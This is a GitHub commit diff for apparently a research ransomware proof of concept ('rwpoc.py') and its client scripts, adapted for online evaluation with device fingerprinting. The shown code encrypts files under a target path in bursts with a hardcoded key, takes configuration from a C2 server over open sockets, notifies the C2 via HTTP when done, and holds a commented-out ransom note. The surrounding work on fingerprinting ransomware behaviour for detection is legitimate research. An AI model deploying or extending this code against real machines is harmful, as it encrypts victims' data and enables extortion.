Skip to content

Commit

Permalink
feat: adjust to online eval on target device
Browse files Browse the repository at this point in the history
  • Loading branch information
jluech committed Feb 22, 2023
1 parent 0499082 commit c4a8131
Show file tree
Hide file tree
Showing 4 changed files with 257 additions and 19 deletions.
159 changes: 159 additions & 0 deletions client-eval.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
import os
import signal
from argparse import ArgumentParser
from json import loads
from multiprocessing import Process
from os import path, remove
from socket import AF_INET, SOCK_STREAM, socket
from subprocess import call
from time import sleep, time

from globals import get_config_path, get_reset_path, get_terminate_path, update_existing_config
from rwpoc import run

TARGET_PATH = "<start-path-on-target-device>"


def parse_args():
parser = ArgumentParser(description='C2 Client')
parser.add_argument('-n', '--number',
help='Number of fingerprints to collect in one encryption run.',
default=0,
action="store")

return parser.parse_args()


def listen_for_config_changes():
with socket(AF_INET, SOCK_STREAM) as sock:
sock.bind(("0.0.0.0", 42666))
sock.listen(1)

while True:
conn, addr = sock.accept() # keep listening for new connections
with conn:
while True:
data = conn.recv(1024) # listen for incoming data of connection
if not data:
break
new_config = loads(data.decode(encoding="utf-8"))
print("received", new_config)
update_existing_config(new_config)


def listen_terminate_episode():
with socket(AF_INET, SOCK_STREAM) as sock:
sock.bind(("0.0.0.0", 42667))
sock.listen(1)

while True:
conn, addr = sock.accept() # keep listening for new connections
with conn:
while True:
data = conn.recv(1024) # listen for incoming data of connection
if not data:
break
command = data.decode(encoding="utf-8").strip().lower()
print("received", command)
reset_path = get_reset_path()
terminate_path = get_terminate_path()
if command == "reset" and not path.exists(reset_path):
with open(reset_path, "x"):
pass
elif command == "terminate" and not path.exists(terminate_path):
with open(terminate_path, "x"):
pass


def collect_device_fingerprint(limit):
# FIXME: using call() spawns another sub-process that will get orphaned and not be terminated by kill_process()
if limit > 0:
"""
Remember: once the limit is reached the subprocess is terminated.
However, the (parent) encryption process is still running to completion
and will re-trigger the FP collection on the next iteration - up to the limit.
"""
call(["./fingerprinter.sh", "-n {}".format(limit)])
else:
call("./fingerprinter.sh") # without option "-n <limit>", this will continuously collect FP


def kill_process(proc):
print("kill Process", proc)
proc.terminate()
print("killed Process", proc)
timeout = 10
start = time()
while proc.is_alive() and time() - start < timeout:
sleep(1)
if proc.is_alive():
proc.kill()
print("...we had to put it down", proc)
sleep(2)
if proc.is_alive():
os.kill(proc.pid, signal.SIGKILL)
print("...die already", proc)
else:
print(proc, "now dead")
else:
print(proc, "now dead")


if __name__ == "__main__":
# Parse arguments
args = parse_args()
num_fp = int(args.number)

# Start subprocess to integrate config changes
procs = []
proc_config = Process(target=listen_for_config_changes)
procs.append(proc_config)
proc_config.start()

# Start subprocess to listen for episodes terminated by the agent
proc_reset = Process(target=listen_terminate_episode)
procs.append(proc_reset)
proc_reset.start()

# Start subprocess to fingerprint device behavior
proc_fp = Process(target=collect_device_fingerprint, args=(num_fp,))
procs.append(proc_fp)
proc_fp.start()

# Start off encryption with clean config from C2
config_path = get_config_path()
if path.exists(config_path):
remove(config_path)

print("Waiting for initial config...")
while not path.exists(config_path):
sleep(1)

try:
abs_paths = TARGET_PATH

while True:
# input("\nEnter: start encrypting")

# input("\nwait shortly for child to start")
print("\nENCRYPT")
run(encrypt=True, absolute_paths=abs_paths) # encrypt

# input("\nEnter: start decrypting")
print("\nDECRYPT")
# run(encrypt=False, absolute_paths=abs_paths) # decrypt
call("./reset_corpus.sh")
reset_path = get_reset_path()
if path.exists(reset_path):
remove(reset_path)
terminate_path = get_terminate_path()
if path.exists(terminate_path):
remove(terminate_path)
break
finally:
print("finally")
for proc in procs:
if proc.is_alive():
kill_process(proc)
else:
print("Process", proc, "already dead.")
32 changes: 27 additions & 5 deletions client.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
from os import path, remove
from json import loads
from multiprocessing import Process
from socket import AF_INET, SOCK_STREAM, socket
from subprocess import call
from time import sleep

from globals import update_existing_config
from globals import get_config_path, update_existing_config
from rwpoc import run

TARGET_PATH = "<start-path-on-target-device>"
Expand All @@ -30,17 +32,37 @@ def collect_device_fingerprint():
call("./fingerprinter.sh") # without option "-n <limit>", this will continuously collect FP


def kill_process(proc):
print("kill Process", proc)
proc.terminate()
proc.join()
print("killed Process", proc)


if __name__ == "__main__":
config_path = get_config_path()
if path.exists(config_path):
remove(config_path)

procs = []
proc_config = Process(target=listen_for_config_changes)
procs.append(proc_config)
proc_config.start()

proc_fp = Process(target=collect_device_fingerprint)
procs.append(proc_fp)
proc_fp.start()

print("Waiting for initial config...")
while not path.exists(config_path):
sleep(1)

try:
run(encrypt=True, absolute_paths=TARGET_PATH)
finally:
proc_fp.terminate()
proc_fp.join()
proc_config.terminate()
proc_config.join()
print("finally")
for proc in procs:
if proc.is_alive():
kill_process(proc)
else:
print("Process", proc, "already dead.")
31 changes: 28 additions & 3 deletions globals.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,18 +2,43 @@
import os


CONFIG_FILE_PATH = "config.file"
RESET_FILE_PATH = "reset.marker"
TERMINATE_FILE_PATH = "terminate.marker"


def get_config_path():
return CONFIG_FILE_PATH


def get_reset_path():
return RESET_FILE_PATH


def get_terminate_path():
return TERMINATE_FILE_PATH


def update_existing_config(new_config):
config = get_config_from_file()
if not os.path.exists(CONFIG_FILE_PATH):
with open(CONFIG_FILE_PATH, "x"):
pass
config = configparser.ConfigParser()
config.read(CONFIG_FILE_PATH)
config.add_section("GENERAL")
config.add_section("BURST")
else:
config = get_config_from_file()
config.set("GENERAL", "algo", new_config["algo"])
config.set("GENERAL", "rate", new_config["rate"])
config.set("BURST", "duration", new_config["burst_duration"])
config.set("BURST", "pause", new_config["burst_pause"])

with open(os.path.join(os.path.curdir, "config.file"), "w") as config_file:
with open(os.path.join(os.path.curdir, CONFIG_FILE_PATH), "w") as config_file:
config.write(config_file)


def get_config_from_file():
config = configparser.ConfigParser()
config.read("config.file")
config.read(CONFIG_FILE_PATH)
return config
54 changes: 43 additions & 11 deletions rwpoc.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
from Crypto.Util import Counter
from requests import put

from globals import get_config_from_file
from globals import get_reset_path, get_terminate_path, get_config_from_file

# ============================================================
# ============ GLOBALS ==============
Expand Down Expand Up @@ -163,6 +163,14 @@ def encrypt_file_inplace(file_name, crypto, total_files, burst_files, total_size
plaintext = f.read(block_size) # read number of bytes

while plaintext:
# ==============================
# RESET CORPUS WHEN EPISODE IS TERMINATED
# ==============================

if path.exists(get_reset_path()) or path.exists(get_terminate_path()):
subprocess.call('echo "0" > ./{}'.format(RATE_FILE), shell=True)
break

# ==============================
# GET LATEST CONFIG
# ==============================
Expand Down Expand Up @@ -328,7 +336,29 @@ def encrypt_files(key, start_dirs):

# Recursively go through folders and encrypt files
for curr_dir in start_dirs:
# ==============================
# RESET CORPUS WHEN EPISODE IS TERMINATED
# ==============================

reset_path = get_reset_path()
terminate_path = get_terminate_path()
# print(curr_dir)
if path.exists(reset_path) or path.exists(terminate_path):
break

for file in discover_files(curr_dir):
# ==============================
# RESET CORPUS WHEN EPISODE IS TERMINATED
# ==============================

# print(file)
if path.exists(reset_path) or path.exists(terminate_path):
break

# ==============================
# HANDLE ENCRYPTION
# ==============================

if not file.endswith(EXTENSION):
all_reported = False # found new file

Expand Down Expand Up @@ -419,6 +449,7 @@ def decrypt_files(key, start_dirs):


def notify_rw_done():
# print("RW done")
put(url="http://{}:{}{}".format(C2_IP, C2_PORT, C2_RW_ROUTE), data="")


Expand All @@ -432,17 +463,17 @@ def run(encrypt, absolute_paths=None):
server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
encryptor = PKCS1_OAEP.new(server_key)
encrypted_key_b64 = b64encode(encryptor.encrypt(HARDCODED_KEY)).decode("ascii")
print("Encrypted key", encrypted_key_b64, "\n")
# print("Encrypted key", encrypted_key_b64, "\n")

if encrypt:
print("[COMPANY_NAME]\n\n"
"YOUR NETWORK IS ENCRYPTED NOW\n"
"USE - TO GET THE PRICE FOR YOUR DATA\n"
"DO NOT GIVE THIS EMAIL TO 3RD PARTIES\n"
"DO NOT RENAME OR MOVE THE FILE\n"
"THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n"
"[begin_key]\n{}\n[end_key]\n"
"KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY))
# print("[COMPANY_NAME]\n\n"
# "YOUR NETWORK IS ENCRYPTED NOW\n"
# "USE - TO GET THE PRICE FOR YOUR DATA\n"
# "DO NOT GIVE THIS EMAIL TO 3RD PARTIES\n"
# "DO NOT RENAME OR MOVE THE FILE\n"
# "THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n"
# "[begin_key]\n{}\n[end_key]\n"
# "KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY))
key = HARDCODED_KEY
else:
# RSA Decryption function - warning that private key is hardcoded for testing purposes
Expand All @@ -454,7 +485,8 @@ def run(encrypt, absolute_paths=None):
with open("./" + RATE_FILE, "w+"): # create file if not exists and truncate contents if exists
pass
encrypt_files(key, start_dirs)
notify_rw_done()
if not (path.exists(get_reset_path()) or path.exists(get_terminate_path())):
notify_rw_done() # only notify if legitimately done and not terminated by agent
else:
decrypt_files(key, start_dirs)

Expand Down

0 comments on commit c4a8131

Please sign in to comment.